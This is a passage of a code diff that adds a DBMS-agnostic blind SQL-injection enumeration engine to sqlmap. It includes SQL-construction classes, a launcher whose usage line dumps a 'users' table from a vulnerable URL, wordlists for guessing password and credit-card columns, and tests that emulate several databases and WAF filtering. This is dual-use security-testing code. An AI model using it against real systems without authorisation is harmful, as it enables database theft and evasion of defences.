is_null + self.complete = complete + self.truncated = truncated + self.queries = queries + self.warnings = warnings or [] + + def __str__(self): + return "" if self.value is None else self.value + + def __bool__(self): + return bool(self.value) + + __nonzero__ = __bool__ # py2 + + def __repr__(self): + return ("ExtractResult(value=%r null=%s complete=%s truncated=%s q=%d%s)" + % (self.value, self.is_null, self.complete, self.truncated, self.queries, + " warnings=%r" % self.warnings if self.warnings else "")) + + +class BulkResult(object): + """List-like bulk-enumeration outcome that also reports completeness against an + independent COUNT (so a truncated dump is visible, not silently short).""" + __slots__ = ("values", "expected", "complete") + + def __init__(self, values, expected=None, complete=True): + self.values = values + self.expected = expected + self.complete = complete + + def __iter__(self): + return iter(self.values) + + def __len__(self): + return len(self.values) + + def __getitem__(self, i): + return self.values[i] + + def __repr__(self): + return "%r%s" % (self.values, "" if self.complete else " (incomplete: %s of %s)" % (len(self.values), self.expected)) + + +class Dialect(object): + """Discovered target profile - the synthesized 'queries.xml row'.""" + + __slots__ = ("concat", "substring", "length", "bytelen", "textcast", + "coalesce", "charcode", "charfrom", "hexfn", "binwrap", + "bulkAgg", "dual", "identQuote", "prefix", "compare", "ordered", + "identity", "catalog", "catalogEnum", "family", "product", + "version", "evidence", "notes") + + def __init__(self): + self.identQuote = None # (open, close) identifier-quote chars, or None + self.prefix = None # (op, multi, single) LIKE/GLOB fallback, or None + self.concat = None # (name, template) + self.substring = None + self.length = None + self.bytelen = None # (name, template) byte length (vs char length) + self.textcast = None # (name, template) scalar -> text + self.coalesce = None # (name, template) NULL guard + self.charcode = None # None -> no code fn (direct-compare mode) + self.charfrom = None + self.hexfn = None # (name, template) for hex/byte extraction + self.binwrap = None # (name, template) byte-ordered comparison wrapper + self.bulkAgg = None # (name, template) row-aggregation for bulk enum + self.dual = None # (name, from-suffix) tableless-SELECT skeleton + self.compare = None # 'code' | 'collation' | 'hex' | 'ordinal' | 'equality' | 'equality-ci' + self.ordered = False # 'b' > 'a' holds (lexicographic bisection ok) + self.identity = {} + self.catalog = None + self.catalogEnum = {} # {kind: (name_col, source, filter)} + self.family = None # from the catalog probe + self.product = None # best-guess product (the detective verdict) + self.version = None # extracted banner string + self.evidence = [] # [(signal, implication), ...] + self.notes = [] + + def __repr__(self): + pick = lambda x: x[0] if x else None + return ("Dialect(concat=%r substring=%r length=%r compare=%r dual=%r " + "catalog=%r product=%r)" % ( + pick(self.concat), pick(self.substring), pick(self.length), + self.compare, pick(self.dual), self.catalog, + self.product or self.family)) + + +class InferenceStrategy(object): + """An immutable, host-consumable rendering of a discovered dialect. + + This is the crystallization esperanto is really for: the discovery half produces + ONE frozen strategy, and a host inference engine (ideally sqlmap's existing + bisection - which already owns threading, hashDB resume, prediction, and the + known-answer reliability litmus) drives the loop by calling these PURE render_* + methods. No oracle here, no retrieval loop - just SQL construction from the + discovered primitives. Frozen after construction so worker threads can share it. + + The reference host loop `hostExtract()` below proves this interface is + *sufficient*: it extracts data using ONLY a strategy + an oracle, with no + dependency on Esperanto's own retrieval code. + """ + + _FIELDS = ("product", "family", "compare_mode", "catalog", "dual", "notes", + "substring", "index_base", "length", "charcode", "charcode_sem", + "hexfn", "binwrap", "charfrom", "concat", "identquote", "backslash") + + def __init__(self, **kw): + for f in self._FIELDS: + object.__setattr__(self, f, kw.get(f)) + object.__setattr__(self, "_frozen", True) + + def __setattr__(self, *a): # immutable + raise AttributeError("InferenceStrategy is frozen") + + # -- pure SQL construction (no oracle) ---------------------------------- + def substr(self, expr, pos, length=1): + p = pos if self.index_base == 1 else pos - 1 + return self.substring.format(expr=expr, pos=p, len=length) + + def renderLength(self, expr): + return self.length.format(expr=expr) + + def renderIsNull(self, expr): + return "(%s) IS NULL" % expr + + def renderHex(self, expr): + return self.hexfn.format(expr=expr) if self.hexfn else None + + def renderCode(self, expr, pos): + # scalar code point of the char at pos (None unless a code fn was found) + return self.charcode.format(expr=self.substr(expr, pos)) if self.charcode else None + + def renderCharCmp(self, expr, pos, ch, op=">"): + # boolean: char at pos literal ch, byte-ordered when a binary wrapper + # is available (else the target's own collation) + one = self.substr(expr, pos) + if self.binwrap: + return "%s%s%s" % (self.binwrap.format(x=one), op, self.binwrap.format(x=self.lit(ch))) + return "%s%s%s" % (one, op, self.lit(ch)) + + def renderExactEq(self, left, right): + # whole-value byte-exact equality (hex > binary wrapper > plain) + if self.hexfn: + return "(%s)=(%s)" % (self.hexfn.format(expr=left), self.hexfn.format(expr=right)) + if self.binwrap: + return "(%s)=(%s)" % (self.binwrap.format(x=left), self.binwrap.format(x=right)) + return "(%s)=(%s)" % (left, right) + + def lit(self, value): + s = value.replace("\\", "\\\\") if self.backslash else value + return "'%s'" % s.replace("'", "''") + + def buildLiteral(self, value): + if value and self.charfrom and self.concat and all(0 < ord(c) < 128 for c in value): + parts = [self.charfrom.format(code=ord(c)) for c in value] + out = parts[0] + for p in parts[1:]: + out = self.concat.format(a=out, b=p) + return out + return self.lit(value) + + def quoteIdent(self, name): + if not self.identquote: + return name + o, c = self.identquote + return "%s%s%s" % (o, name.replace(c, c * 2), c) + + def asQueriesRow(self): + """The sqlmap queries.xml-shaped mapping - the concrete integration hook. + These four templates are what sqlmap's inference/error/union machinery reads + from queries[Backend.getIdentifiedDbms()].""" + return { + "length": self.length, + "substring": self.substring, + "inference": ("%s>%%d" % self.charcode.format(expr=self.substr("%s", "%d"))) + if self.charcode else None, + "case": "SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)" + self.dual, + "hex": self.hexfn, + } + + def __repr__(self): + return "InferenceStrategy(product=%r compare=%r catalog=%r)" % ( + self.product, self.compare_mode, self.catalog) + + +class QueryBudgetExceeded(OracleUndecided): + """The configured hard oracle-call budget was exhausted mid-operation.""" diff --git a/extra/esperanto/run.py b/extra/esperanto/run.py new file mode 100644 index 00000000000..c91ee08a0d1 --- /dev/null +++ b/extra/esperanto/run.py @@ -0,0 +1,31 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Standalone launcher for the DBMS-agnostic Esperanto engine. Run it straight from this +directory - no sqlmap, no PYTHONPATH, no `-m` incantation: + + python run.py -u 'http://host/vuln?id=1*' --string --tables --dump -T users + python run.py --self-test + python run.py --live # local DBMS dev harness + +The package is fully self-contained (bundled wordlists, no sqlmap imports in the engine), +so the whole directory can be copied elsewhere and still run. sqlmap uses the very same +package via `from extra.esperanto import buildHandler`, handing the engine its own boolean +oracle (checkBooleanExpression); this launcher is only for standalone use. +""" + +import importlib +import os +import sys + +# make this package importable by its own (folder) name from any working directory, so +# the relative imports inside resolve, then hand off to the CLI in __main__ +_HERE = os.path.dirname(os.path.abspath(__file__)) +sys.path.insert(0, os.path.dirname(_HERE)) +main = importlib.import_module("%s.__main__" % os.path.basename(_HERE)).main + +if __name__ == "__main__": + sys.exit(main()) diff --git a/extra/esperanto/wordlist.py b/extra/esperanto/wordlist.py new file mode 100644 index 00000000000..37845cfecfa --- /dev/null +++ b/extra/esperanto/wordlist.py @@ -0,0 +1,77 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Common table/column names for the brute-force fallback used when the system catalog +is unreadable or unknown (permission wall, exotic/Frankenstein engine, CTF). This is +the "know nothing about the schema, guess the usual names" path - the equivalent of +sqlmap's --common-tables / --common-columns. sqlmap's own (much larger) wordlists are +preferred when this package runs inside the repo; the bundled curated lists below are +the self-contained fallback so the standalone CLI works with no external files. +""" + +import os + + +# curated, most-common first; kept deliberately small so brute-forcing stays practical +# over a slow blind oracle (sqlmap's full lists are used instead when available) +_BUNDLED_TABLES = ( + "users", "user", "admin", "administrator", "accounts", "account", "members", + "member", "customers", "customer", "clients", "client", "people", "persons", + "employees", "staff", "contacts", "profiles", "profile", "sessions", "session", + "orders", "order", "products", "product", "items", "item", "categories", + "category", "cart", "carts", "invoices", "payments", "transactions", "coupons", + "rates", "reviews", "ratings", "inventory", "stock", "shipping", "posts", "post", + "articles", "pages", "page", "comments", "messages", "message", "news", "blog", + "blogs", "tags", "notifications", "subscriptions", "feedback", "files", "file", + "uploads", "images", "documents", "media", "config", "configuration", "settings", + "setting", "options", "preferences", "roles", "role", "permissions", "groups", + "group", "tokens", "token", "secrets", "secret", "credentials", "passwords", + "keys", "apikeys", "api_keys", "cards", "creditcards", "credit_cards", "logs", + "log", "events", "event", "audit", "audit_log", "history", "activity", "data", + "records", "metadata", "backup", "backups", "temp", "tmp", "test", "flags", +) + + +_BUNDLED_COLUMNS = ( + "id", "uid", "user_id", "userid", "guid", "name", "username", "uname", "user", + "login", "handle", "nick", "nickname", "pass", "passwd", "password", "pwd", + "pass_hash", "password_hash", "hash", "salt", "email", "mail", "e_mail", + "first_name", "firstname", "fname", "last_name", "lastname", "lname", "fullname", + "full_name", "surname", "display_name", "phone", "mobile", "tel", "address", + "addr", "street", "city", "country", "state", "zip", "zipcode", "postcode", + "dob", "birthdate", "age", "gender", "sex", "role", "roles", "is_admin", "admin", + "level", "active", "is_active", "enabled", "disabled", "banned", "status", + "verified", "created", "created_at", "created_on", "updated", "updated_at", + "modified", "deleted", "deleted_at", "last_login", "timestamp", "date", "time", + "token", "api_key", "apikey", "session", "secret", "key", "value", "data", + "content", "body", "text", "title", "subject", "description", "comment", "note", + "notes", "message", "url", "link", "ip", "ip_address", "useragent", "referer", + "cc", "card", "creditcard", "credit_card", "card_number", "cvv", "cvc", "expiry", + "amount", "price", "cost", "total", "balance", "quantity", "qty", "count", "code", + "type", "category", "tag", "slug", "flag", "flags", "extra", "meta", "settings", +) + + +def _fromFile(fname): + # sqlmap's own wordlist when this runs inside the repo (data/txt/). + # located relative to this file: extra/esperanto/ -> ../../data/txt/ + path = os.path.join(os.path.dirname(__file__), "..", "..", "data", "txt", fname) + try: + with open(path) as fh: + names = [line.strip() for line in fh if line.strip() and not line.startswith("#")] + return names or None + except (IOError, OSError): + return None + + +def commonTables(): + """Candidate table names, most-common first. sqlmap's list if present, else bundled.""" + return _fromFile("common-tables.txt") or list(_BUNDLED_TABLES) + + +def commonColumns(): + """Candidate column names, most-common first. sqlmap's list if present, else bundled.""" + return _fromFile("common-columns.txt") or list(_BUNDLED_COLUMNS) diff --git a/lib/controller/action.py b/lib/controller/action.py index cb38e91ce4a..3e4b34e3ff7 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -77,7 +77,7 @@ def action(): kb.tamperFunctions = (kb.tamperFunctions or []) + [function] logger.info("using tamper scripts 'blindbinary' and 'infoschema2innodb' so data retrieval and table enumeration can pass the WAF/IPS") - if not Backend.getDbms() or not conf.dbmsHandler: + if (not Backend.getDbms() and not conf.esperanto) or not conf.dbmsHandler: htmlParsed = Format.getErrorParsedDBMSes() errMsg = "sqlmap was not able to fingerprint the " diff --git a/lib/controller/handler.py b/lib/controller/handler.py index 744415e128f..4d2e7a6d947 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -10,6 +10,7 @@ from lib.core.common import singleTimeWarnMessage from lib.core.data import conf from lib.core.data import kb +from lib.core.data import logger from lib.core.dicts import DBMS_DICT from lib.core.enums import DBMS from lib.core.dicts import DBWIRE_MODULES @@ -86,6 +87,15 @@ def setHandler(): management system. """ + if conf.esperanto: + # force the DBMS-agnostic engine: skip per-DBMS fingerprinting entirely and + # let the boolean-oracle 'esperanto' handler drive enumeration. + from extra.esperanto import buildHandler + conf.dbmsHandler = buildHandler() + conf.dbmsHandler._dbms = "Esperanto" + logger.info("using the DBMS-agnostic 'Esperanto' engine (fingerprinting skipped)") + return + items = [ (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, "plugins.dbms.mysql.connector"), (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, "plugins.dbms.oracle.connector"), diff --git a/lib/core/convert.py b/lib/core/convert.py index 95b29622d17..b7ac02809d5 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -76,10 +76,16 @@ def _serializeEncode(value): # string that would round-trip as 'unicode') keeps the exact byte type across versions if isinstance(value, (six.binary_type, bytearray)): raw = bytes(value) if isinstance(value, bytearray) else value - return {_SERIALIZE_TAG: "b", "v": encodeBase64(raw, binary=False), "a": 1 if isinstance(value, bytearray) else 0} + retVal = {_SERIALIZE_TAG: "b", "v": encodeBase64(raw, binary=False), "a": 1 if isinstance(value, bytearray) else 0} + if six.PY3: # mark genuine Python 3 bytes so restore keeps them bytes; a + retVal["pv"] = 3 # Python 2 'str' (text) is unmarked and recovered as text (see decode) + return retVal if isinstance(value, memoryview): - return {_SERIALIZE_TAG: "b", "v": encodeBase64(value.tobytes(), binary=False), "a": 0} + retVal = {_SERIALIZE_TAG: "b", "v": encodeBase64(value.tobytes(), binary=False), "a": 0} + if six.PY3: + retVal["pv"] = 3 + return retVal try: if isinstance(value, buffer): # noqa: F821 # Python 2 only @@ -171,7 +177,19 @@ def _serializeDecode(struct): if tag == "b": raw = decodeBase64(struct["v"], binary=True) - return bytearray(raw) if struct.get("a") else raw + if struct.get("a"): + return bytearray(raw) + # Genuine Python 3 bytes (pv==3) are kept as-is. A value WITHOUT the marker was + # written by Python 2, whose text-'str' goes through this bytes branch; on Python 3 + # that would surface as 'bytes' and break str consumers - most visibly kb.chars, + # whose str-key lookups then return None and crash cleanupPayload(). Recover such + # cross-version TEXT by decoding valid UTF-8 to 'str'; real binary stays bytes. + if struct.get("pv") == 3: + return raw + try: + return raw.decode("utf-8") + except UnicodeDecodeError: + return raw elif tag == "t": return tuple(_serializeDecode(_) for _ in struct["v"]) elif tag == "f": diff --git a/lib/core/settings.py b/lib/core/settings.py index 4275713864c..b9f61edd2fe 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.106" +VERSION = "1.10.7.107" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index c30520f6a06..bc838a88dc5 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -355,6 +355,9 @@ def cmdLineParser(argv=None): injection.add_argument("--dbms-cred", dest="dbmsCred", help="DBMS authentication credentials (user:password)") + injection.add_argument("--esperanto", dest="esperanto", action="store_true", + help="Use the DBMS-agnostic enumeration engine") + injection.add_argument("--os", dest="os", help="Force back-end DBMS operating system to provided value") diff --git a/lib/request/inject.py b/lib/request/inject.py index 8948a07cc6d..9389480ffd1 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -633,9 +633,10 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion if expected == EXPECTED.BOOL: - # Note: some DBMSes (e.g. Altibase) don't support implicit conversion of boolean check result during concatenation with prefix and suffix (e.g. 'qjjvq'||(1=1)||'qbbbq') + # Note: some DBMSes (e.g. Altibase, SQL Server) don't support implicit conversion of boolean check result during concatenation with prefix and suffix (e.g. 'qjjvq'||(1=1)||'qbbbq') - if not any(_ in forgeCaseExpression for _ in ("SELECT", "CASE")): + # skip only when already CASE-wrapped or a bare scalar SELECT value (cf. the startswith check above); a boolean predicate that merely EMBEDS a subquery (e.g. '(SELECT ...) IS NULL', common when the DBMS is unidentified and forgeCaseStatement() is a no-op) still needs wrapping for concatenation safety + if "CASE" not in forgeCaseExpression and not forgeCaseExpression.startswith("SELECT "): forgeCaseExpression = "(CASE WHEN (%s) THEN '1' ELSE '0' END)" % forgeCaseExpression try: diff --git a/tests/test_esperanto.py b/tests/test_esperanto.py new file mode 100644 index 00000000000..a53b5a9839a --- /dev/null +++ b/tests/test_esperanto.py @@ -0,0 +1,656 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Regression suite for the DBMS-agnostic engine (extra/esperanto/), in two parts: + +1. Semantic corpus - round-trips awkward values through an in-memory SQLite boolean + oracle and asserts the correctness invariants the engine must never break: no silent + character substitution or deletion, length never exceeds maxlen (over-length is + flagged), limit=0 is an incomplete empty prefix, NULL stays distinct from '', + truncation sets complete=False, bytes-first extraction is byte-exact, and the + capability fallbacks (pattern-match floor, length-from-substring, LEFT/RIGHT + composition) and the frozen InferenceStrategy hand-off all still extract. + +2. Adversarial dialect scenarios - an intermediate oracle disguises the same SQLite as + a different / hostile back-end by BLOCKING the SQL forms the fake engine lacks and + REWRITING its forms into the SQLite equivalent, so the engine must discover and adapt + the dialect it is handed (substring=SUBSTRING, length=LEN, charcode=ASCII, + concat=CONCAT, no usable '>'/BETWEEN, no readable catalog) rather than only working + on dialects it already knows. + +stdlib unittest only; Python 2.7 and 3.x. +""" + +import os +import re +import sqlite3 +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +from extra.esperanto import Cap +from extra.esperanto import Esperanto +from extra.esperanto import hostExtract + +EXPR = "(SELECT v FROM t)" + +# awkward values (NULL handled separately - it is not a string value) +CORPUS = [ + u"", u"A", u"AB", u"A ", u" leading", u"trailing ", u"two spaces", + u"O'Reilly", u'double"quote', u"comma,value", u"back\\slash", + u"line\nbreak", u"\t", u"é", u"€", u"中文", + u"\U00010348", u"Aé€\U00010348Z", +] + + +def _oracle(value=None, is_null=False): + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t (v TEXT)") + con.execute("INSERT INTO t VALUES (?)", (None if is_null else value,)) + con.commit() + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except Exception: + return False + return ask + + +# -- adversarial dialect scenarios: one SQLite disguised as many hostile back-ends ----- + +# ground truth seeded into every disguised scenario +_SEED = ( + "CREATE TABLE users (id INTEGER, name TEXT, email TEXT)", + "INSERT INTO users VALUES (1,'luther','a@b.c'),(2,'admin','p@w.n'),(3,'wu',NULL)", +) +_SECRET_EXPR = "(SELECT name FROM users WHERE id=2)" # -> 'admin' + + +def _concatFn(*args): + return "".join(u"" if a is None else (a if isinstance(a, type(u"")) else str(a)) for a in args) + + +def _disguisedOracle(blocked=None, rewrites=(), funcs=()): + """Boolean oracle over a disguised SQLite. `blocked` (regex) forms read False (the + fake engine lacks them); `rewrites` translate the fake engine's forms into SQLite; + `funcs` registers extra SQL functions (e.g. a variadic CONCAT SQLite lacks). The + engine never sees SQLite - it must adapt to whatever back-end the scenario emulates.""" + con = sqlite3.connect(":memory:") + for name, narg, fn in funcs: + con.create_function(name, narg, fn) + for stmt in _SEED: + con.execute(stmt) + con.commit() + blk = re.compile(blocked, re.I) if blocked else None + rw = [(re.compile(p, re.I), r) for p, r in rewrites] + + def ask(cond): + if blk and blk.search(cond): + return False # fake engine doesn't support it + sql = cond + for rx, rep in rw: + sql = rx.sub(rep, sql) + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % sql).fetchone()[0] == 1 + except Exception: + return False + return ask + + +# coherent whole-back-end disguises: each blocks the forms its fake DBMS lacks and maps +# the forms it "has" onto SQLite. All must discover the dialect and dump every row. +# (name, blocked, rewrites, funcs) +_DIALECTS = ( + ("mysql-ish: MID / CHAR_LENGTH / ORD, backtick idents, || is OR -> CONCAT", + r"\bSUBSTR\(|\bSUBSTRING\(|\bLEN\(|\bLENGTH\(|\bASCII\(|\bUNICODE\(|\|\|", + [(r"\bMID\(", "substr("), (r"CHAR_LENGTH\(", "length("), (r"\bORD\(", "unicode("), (r"`", '"')], + [("CONCAT", -1, _concatFn)]), + ("mssql-ish: SUBSTRING / LEN / UNICODE, '+' concat, [..] idents", + r"\bSUBSTR\(|\bMID\(|CHAR_LENGTH\(|\bLENGTH\(|\bASCII\(|\bORD\(|\|\||\bCONCAT\(|\"|`", + [(r"SUBSTRING\(", "substr("), (r"\bLEN\(", "length("), (r"\)\+\(", ")||(")], + ()), + ("postgres-ish: SUBSTRING / LENGTH / ASCII, || concat", + r"\bSUBSTR\(|\bMID\(|\bLEN\(|CHAR_LENGTH\(|\bUNICODE\(|\bORD\(", + [(r"SUBSTRING\(", "substr("), (r"\bASCII\(", "unicode(")], + ()), + ("oracle-ish: SUBSTR / LENGTH / ASCII / CHR, || concat", + r"\bMID\(|\bLEN\(|CHAR_LENGTH\(|\bUNICODE\(|\bORD\(|\bCHAR\(", + [(r"\bASCII\(", "unicode("), (r"\bCHR\(", "char(")], + ()), + ("waf: code fns and collation stripped -> forced hex extraction", + r"\bASCII\(|\bUNICODE\(|\bORD\(|CODEPOINT\(|COLLATE|AS\s+BLOB", + (), ()), + ("waf: '>'/'<' stripped on top of a MID/CHAR_LENGTH dialect", + r">|<|\bSUBSTR\(|\bSUBSTRING\(|\bLENGTH\(|\bLEN\(|\|\|", + [(r"\bMID\(", "substr("), (r"CHAR_LENGTH\(", "length(")], + [("CONCAT", -1, _concatFn)]), +) + + +class TestEsperanto(unittest.TestCase): + def test_bytes_roundtrip(self): + # bytes-first round-trips EVERY value exactly (the fundamental guarantee) + for v in CORPUS: + esp = Esperanto(_oracle(v)) + esp.discover() + self.assertEqual(esp.extractBytes(EXPR), v.encode("utf-8"), "extractBytes %r" % v) + self.assertEqual(esp.extractText(EXPR), v, "extractText %r" % v) + + def test_no_silent_corruption(self): + # any deviation must be surfaced (replacement marker + warning), never a + # wrong-but-plausible character silently substituted + for v in CORPUS: + for mode in ("code", "ordinal", "collation", "hex"): + esp = Esperanto(_oracle(v)) + esp.discover() + esp.dialect.compare = mode + if mode == "hex": + esp._ensureHexfn() + elif mode == "collation": # SQLite is byte-ordered via BLOB cast + esp.dialect.binwrap = Cap("cast_blob", "CAST(({x}) AS BLOB)") + res = esp.extractResult(EXPR) + if res.value == v: + continue + self.assertTrue(not res.complete and res.warnings, + "silent corruption in %s mode for %r -> %r" % (mode, v, res.value)) + self.assertTrue(u"�" in res.value or res.value == u"", + "%s mode invented a value for %r -> %r" % (mode, v, res.value)) + + def test_null_vs_empty(self): + esp = Esperanto(_oracle(is_null=True)) + esp.discover() + rnull = esp.extractResult(EXPR) + self.assertTrue(rnull.is_null and rnull.value is None, "NULL not null: %r" % rnull) + esp = Esperanto(_oracle(u"")) + esp.discover() + rempty = esp.extractResult(EXPR) + self.assertTrue((not rempty.is_null) and rempty.value == u"" and rempty.complete, + "empty string mis-reported: %r" % rempty) + + def test_limit_and_maxlen(self): + # limit=0 on a non-empty value -> empty prefix, but INCOMPLETE/TRUNCATED + esp = Esperanto(_oracle(u"hello")) + esp.discover() + r0 = esp.extractResult(EXPR, limit=0) + self.assertTrue(r0.value == u"" and r0.truncated and not r0.complete, "limit=0: %r" % r0) + # over-maxlen -> truncated flagged, length bounded + esp = Esperanto(_oracle(u"0123456789ABCDEF"), maxlen=4) + esp.discover() + rt = esp.extractResult(EXPR) + self.assertTrue(rt.truncated and not rt.complete and len(rt.value) <= 4, "over-maxlen: %r" % rt) + + def test_integer(self): + for n in (0, 1, 42, 255, 65535, 1000000, 2147483648, -1, -42): + esp = Esperanto(_oracle()) + esp.discover() + self.assertEqual(esp.extractInteger("(%d)" % n), n, "extractInteger(%d)" % n) + + def test_fixup_length(self): + # a trailing-space-trimming length fn is rebuilt as LEN(x||'.')-1 + esp = Esperanto(_oracle(u"x")) + esp.discover() + esp.dialect.length = Cap("LEN", "LEN({expr})", unit="characters", trailing=False, empty_is_null=False) + esp.dialect.concat = Cap("plus", "({a})+({b})") + esp._fixupLength() + self.assertTrue(esp.dialect.length.name.endswith("+dot") and esp.dialect.length.get("trailing"), + "_fixupLength did not rebuild: %r" % esp.dialect.length) + + def test_lit_escaping(self): + esp = Esperanto(_oracle(u"x")) + esp.discover() + esp._backslashEscape = True + self.assertEqual(esp._lit("\\"), "'\\\\'") + esp._backslashEscape = False + self.assertEqual(esp._lit("\\"), "'\\'") + self.assertEqual(esp._lit("'"), "''''") + + def test_build_literal(self): + esp = Esperanto(_oracle(u"x")) + esp.discover() + lit = esp.buildLiteral("a\\b'c") + self.assertTrue(esp._ask("%s IS NOT NULL" % lit), "buildLiteral invalid SQL: %s" % lit) + self.assertEqual(esp.extract(lit), "a\\b'c") + + def test_coalesce(self): + esp = Esperanto(_oracle(u"x")) + esp.discover() + if esp.dialect.coalesce: + self.assertEqual(esp.extract(esp.coalesce("NULL", "'Z'")), "Z") + + def test_enumerate(self): + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE alpha (x)") + con.execute("CREATE TABLE beta (y)") + con.commit() + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except Exception: + return False + esp = Esperanto(ask) + esp.discover() + tabs = set(esp.enumerate("table", limit=10) or []) + self.assertTrue(set(["alpha", "beta"]).issubset(tabs), "enumerate tables: %r" % tabs) + + def test_dump(self): + # row DATA byte-exact, including commas / quotes / unicode (hex framing keeps intact) + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE users (id, uname, note)") + truth = [(1, u"admin", u"all,good"), (2, u"o'brien", u"café,€"), (3, u"x", u"")] + for row in truth: + con.execute("INSERT INTO users VALUES (?,?,?)", row) + con.commit() + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except Exception: + return False + esp = Esperanto(ask) + esp.discover() + d = esp.dump("users", limit=10) + got = set(frozenset(dict(zip(d["columns"], r)).items()) for r in d["rows"]) + want = set(frozenset({"id": str(i), "uname": u, "note": n}.items()) for i, u, n in truth) + self.assertTrue(d["complete"] and got == want, "dump mismatch: %r" % d["rows"]) + + def test_dump_scavenges_without_hex_or_concat(self): + # DOOMSDAY: a back-end with NO hex function AND NO concat operator (nothing to + # frame a whole row with) must still be dumped - cell by cell, one value per + # extraction. Quotes/commas/NULLs in the data must survive (a single value has + # no framing ambiguity). This is the scavenger's whole reason to exist. + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE users (id INTEGER, name TEXT, email TEXT)") + for row in ((1, "luther", "a@b.c"), (2, "o'brien", "x,y@z"), (3, "wu", None)): + con.execute("INSERT INTO users VALUES (?,?,?)", row) + con.commit() + blk = re.compile(r"(?i)\bHEX\(|RAWTOHEX|ENCODE\(|BINTOHEX|HEX_ENCODE|TO_HEX|BINTOSTR|" + r"\|\||\bCONCAT\(|CONCAT_WS|\)\+\(|\)&\(") # no hex, no concat at all + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + esp.discover() + self.assertIsNone(esp.dialect.hexfn) + self.assertIsNone(esp.dialect.concat) + d = esp.dump("users") + got = set(frozenset(dict(zip(d["columns"], r)).items()) for r in d["rows"]) + want = set(frozenset(v.items()) for v in ( + {"id": "1", "name": "luther", "email": "a@b.c"}, + {"id": "2", "name": "o'brien", "email": "x,y@z"}, + {"id": "3", "name": "wu", "email": None})) + self.assertTrue(d["complete"] and got == want, "cell-by-cell dump: %r" % d["rows"]) + + def test_enumerate_without_count(self): + # COUNT() filtered (a WAF, or an exotic engine) must not kill discovery: + # catalog detection, brute-force existence probing, and identifier quoting are + # all COUNT-free (scalar-subquery existence), so tables/columns/dump still work. + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE users (id INTEGER, name TEXT)") + con.execute("INSERT INTO users VALUES (1, 'admin'), (2, 'root')") + con.commit() + blk = re.compile(r"(?i)\bCOUNT\s*\(") + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + esp.discover() + self.assertEqual(esp.enumerate("table", limit=10), ["users"]) + self.assertEqual(sorted(esp.columns("users")), ["id", "name"]) + rows = (esp.dump("users") or {}).get("rows") or [] + got = set(frozenset(dict(zip(esp.dump("users")["columns"], r)).items()) for r in rows) + want = set(frozenset(v.items()) for v in ({"id": "1", "name": "admin"}, {"id": "2", "name": "root"})) + self.assertEqual(got, want) + + def test_quoting(self): + # reserved-word / spaced column names must be quoted, not interpolated raw + con = sqlite3.connect(":memory:") + con.execute('CREATE TABLE q (id INTEGER, "order" TEXT, "group by" TEXT)') + con.execute('INSERT INTO q VALUES (1, ?, ?)', ("a'b", "x,y")) + con.commit() + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + esp.discover() + dq = esp.dump("q") + got = set(frozenset(dict(zip(dq["columns"], r)).items()) for r in dq["rows"]) + want = set([frozenset({"id": "1", "order": "a'b", "group by": "x,y"}.items())]) + self.assertTrue(dq["complete"] and got == want and esp.dialect.identQuote, + "quoted-identifier dump failed: %r" % dq["rows"]) + + def test_strategy_handoff(self): + # the frozen InferenceStrategy is a *sufficient* host interface, and immutable + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE k (v TEXT)") + con.execute("INSERT INTO k VALUES ('Str4t3gy!')") + con.commit() + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + 